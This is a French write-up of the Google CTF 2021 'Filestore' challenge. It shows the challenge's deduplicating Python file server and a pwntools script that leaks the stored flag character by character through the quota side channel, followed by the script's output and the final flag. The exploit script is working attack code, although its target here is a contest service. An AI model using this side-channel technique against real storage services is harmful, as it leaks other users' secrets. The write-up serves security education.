# Filestore
![screenChallenge](https://i.imgur.com/tFhtsab.png)
Dans ce challenge, on nous donne un script python et un lien pour ce connecter avec netcat.
Pour commencer regardons ce que donne la connection vers : ``filestore.2021.ctfcompetition.com 1337``.
```$ nc filestore.2021.ctfcompetition.com 1337== proof-of-work: disabled ==Welcome to our file storage solution.
Menu:- load- store- status- exitstoreSend me a line of data...testStored! Here's your file id:emz2v1iPtzyOLMtj
Menu:- load- store- status- exitloadSend me the file id...emz2v1iPtzyOLMtjtest
Menu:- load- store- status- exit```
Ok, on a donc un programme qui stock des valeurs, on peut stocker les valeurs que l'on veut avec la commande ``store`` suivi de la valeur que l'on veut stocker. On peut ensuite afficher la valeur avec la commande ``load`` suivi de l'id correspondant.
Maintenant qu'on a vu cela, voyons ce que l'on a dans le script python permettant de gérer le stockage :
```python# Copyright 2021 Google LLC## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at##     https://www.apache.org/licenses/LICENSE-2.0## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.# See the License for the specific language governing permissions and# limitations under the License.
import os, secrets, string, timefrom flag import flag
def main():    # It's a tiny server...    blob = bytearray(2**16)    files = {}    used = 0
    # Use deduplication to save space.    def store(data):        nonlocal used        MINIMUM_BLOCK = 16        MAXIMUM_BLOCK = 1024        part_list = []        while data:            prefix = data[:MINIMUM_BLOCK]            ind = -1            bestlen, bestind = 0, -1            while True:                ind = blob.find(prefix, ind+1)                if ind == -1: break                length = len(os.path.commonprefix([data, bytes(blob[ind:ind+MAXIMUM_BLOCK])]))                if length > bestlen:                    bestlen, bestind = length, ind
            if bestind != -1:                part, data = data[:bestlen], data[bestlen:]                part_list.append((bestind, bestlen))            else:                part, data = data[:MINIMUM_BLOCK], data[MINIMUM_BLOCK:]                blob[used:used+len(part)] = part                part_list.append((used, len(part)))                used += len(part)                assert used <= len(blob)
        fid = "".join(secrets.choice(string.ascii_letters+string.digits) for i in range(16))        files[fid] = part_list        return fid
    def load(fid):        data = []        for ind, length in files[fid]:            data.append(blob[ind:ind+length])        return b"".join(data)
    print("Welcome to our file storage solution.")
    # Store the flag as one of the files.    store(bytes(flag, "utf-8"))
    while True:        print()        print("Menu:")        print("- load")        print("- store")        print("- status")        print("- exit")        choice = input().strip().lower()        if choice == "load":            print("Send me the file id...")            fid = input().strip()            data = load(fid)            print(data.decode())        elif choice == "store":            print("Send me a line of data...")            data = input().strip()            fid = store(bytes(data, "utf-8"))            print("Stored! Here's your file id:")            print(fid)        elif choice == "status":            print("User: ctfplayer")            print("Time: %s" % time.asctime())            kb = used / 1024.0            kb_all = len(blob) / 1024.0            print("Quota: %0.3fkB/%0.3fkB" % (kb, kb_all))            print("Files: %d" % len(files))        elif choice == "exit":            break        else:            print("Nope.")            break
try:    main()except Exception:    print("Nope.")time.sleep(1)```Nous pouvons voir que le flag est stocké dans ``blob`` et est accessible avec une clé (généré aléatoirement) dans le dictionnaire ``file``.
Dans ce script, on va s'intéresser au fonctionnement de la fonction ``store`` et de l'utilisation de la fonction ``status`` nous permettant de trouver le flag.
Grosso modo la fonction ``store`` va stocker les valeurs 16 caractères par 16 caractères et si une partie des 16 caractères entré sont déjà dans ``blob`` , dans le même ordre, alors ils ne seront pas ajouté à ``blob``, le dictionnaire ``files`` aura une clé généré aléatoirement et aura les valeurs correspondant à l'emplacement des caractères voulant être stocké.
Maintenant que l'on sait ça, testons de stocker la valeur ``CTF{``, normalement aucune valeur ne sera ajouté à ``blob`` et donc la taille de celui-ci ne changera pas, ont pourra voir cela avec la commande ``status`` qui affiche la place utilisé dans ``blob``.
```$ nc filestore.2021.ctfcompetition.com 1337== proof-of-work: disabled ==Welcome to our file storage solution.
Menu:- load- store- status- exitstatusUser: ctfplayerTime: Sun Jul 18 22:24:56 2021Quota: 0.026kB/64.000kBFiles: 1
Menu:- load- store- status- exitstoreSend me a line of data...CTF{Stored! Here's your file id:6gv6YmlHRsypXyzC
Menu:- load- store- status- exitstatusUser: ctfplayerTime: Sun Jul 18 22:25:05 2021Quota: 0.026kB/64.000kBFiles: 2
Menu:- load- store- status- exit```
Nous voyons bien que la taille n'a pas changé, elle est toujours de **0.026kb** après le stockage de ``CTF{``.
Nous pouvons donc connaitre le flag car si le(s) caractère(s) ajouté à ``CTF{`` ne correspondent pas à une partie du flag, la taille augmentera.
Il faut donc réaliser un script pour tester caractères par caractères la suite du flag :
```pythonimport pwnimport string
def testChar(partFlagFound):    possibleChars = " "+string.printable[:-6]    quota2 = b""    for char in possibleChars :
        nc.recvline() #Menu:        nc.recvline() #- load        nc.recvline() #- store        nc.recvline() #- status        nc.recvline() #- exit
        nc.sendline("store".encode()) # store        nc.recvline() # Send me a line of data...        nc.sendline(partFlagFound.encode()+char.encode()) # CTF{....        nc.recvline() # Stored! Here's your file id:        nc.recvline() # recv file id        nc.recvline() # line feed (\n)
        nc.recvline() #Menu:        nc.recvline() #- load        nc.recvline() #- store        nc.recvline() #- status        nc.recvline() #- exit
        nc.sendline("status".encode()) # status        nc.recvline() # User        nc.recvline() # Time        quota = nc.recvline() # Quota        nc.recvline() # Files        nc.recvline() # line feed (\n)
        if quota == quota2:            return char            break        quota2 = quota
host = "filestore.2021.ctfcompetition.com"port = 1337nc = pwn.remote(host, port)
nc.recvline() # == proof-of-work: disabled ==nc.recvline() # Welcome to our file storage solution.nc.recvline() # line feed (\n)
flag = "CTF{"
i=0while flag[-1] != "}":    flag += testChar(flag[i+1:])    print(f"[i] {flag}")    i+=1
print(f"\n[+] FLAG : {flag}")```
Executons maintenant notre script python :
```$ python3 solve.py [+] Opening connection to filestore.2021.ctfcompetition.com on port 1337: Done[i] CTF{C[i] CTF{CR[i] CTF{CR1[i] CTF{CR1M[i] CTF{CR1M3[i] CTF{CR1M3_[i] CTF{CR1M3_0[i] CTF{CR1M3_0f[i] CTF{CR1M3_0f_[i] CTF{CR1M3_0f_d[i] CTF{CR1M3_0f_d3[i] CTF{CR1M3_0f_d3d[i] CTF{CR1M3_0f_d3du[i] CTF{CR1M3_0f_d3dup[i] CTF{CR1M3_0f_d3dup1[i] CTF{CR1M3_0f_d3dup1i[i] CTF{CR1M3_0f_d3dup1ic[i] CTF{CR1M3_0f_d3dup1ic4[i] CTF{CR1M3_0f_d3dup1ic4t[i] CTF{CR1M3_0f_d3dup1ic4ti[i] CTF{CR1M3_0f_d3dup1ic4ti0[i] CTF{CR1M3_0f_d3dup1ic4ti0n[i] CTF{CR1M3_0f_d3dup1ic4ti0n}
[+] FLAG : CTF{CR1M3_0f_d3dup1ic4ti0n}[*] Closed connection to filestore.2021.ctfcompetition.com port 1337```
Bingo !! Nous avons trouvé le flag : ``CTF{CR1M3_0f_d3dup1ic4ti0n}``